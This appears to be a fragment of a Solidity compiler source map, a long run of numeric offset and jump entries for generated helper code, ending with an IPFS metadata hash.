388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5165:251::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;5336:9;5330:16;5355:31;5380:5;5355:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;9030:128::-;9097:9;;;9118:11;;;9115:37;;;9132:18;;:::i;9163:125::-;9228:9;;;9249:10;;;9246:36;;;9262:18;;:::i;10002:135::-;10041:3;10062:17;;;10059:43;;10082:18;;:::i;:::-;-1:-1:-1;10129:1:1;10118:13;;10002:135::o;10142:217::-;10182:1;10208;10198:132;;10252:10;10247:3;10243:20;10240:1;10233:31;10287:4;10284:1;10277:15;10315:4;10312:1;10305:15;10198:132;-1:-1:-1;10344:9:1;;10142:217::o;10898:127::-;10959:10;10954:3;10950:20;10947:1;10940:31;10990:4;10987:1;10980:15;11014:4;11011:1;11004:15;11030:980;11292:4;11340:3;11329:9;11325:19;11371:6;11360:9;11353:25;11397:2;11435:6;11430:2;11419:9;11415:18;11408:34;11478:3;11473:2;11462:9;11458:18;11451:31;11502:6;11537;11531:13;11568:6;11560;11553:22;11606:3;11595:9;11591:19;11584:26;;11645:2;11637:6;11633:15;11619:29;;11666:1;11676:195;11690:6;11687:1;11684:13;11676:195;;;11755:13;;-1:-1:-1;;;;;11751:39:1;11739:52;;11846:15;;;;11811:12;;;;11787:1;11705:9;11676:195;;;-1:-1:-1;;;;;;;11927:32:1;;;;11922:2;11907:18;;11900:60;-1:-1:-1;;;11991:3:1;11976:19;11969:35;11888:3;11030:980;-1:-1:-1;;;11030:980:1:o

ipfs://aa4e22aa9d64400033ce4cb6d4249f136e371db313b5dc1bb2b8dad43752b62e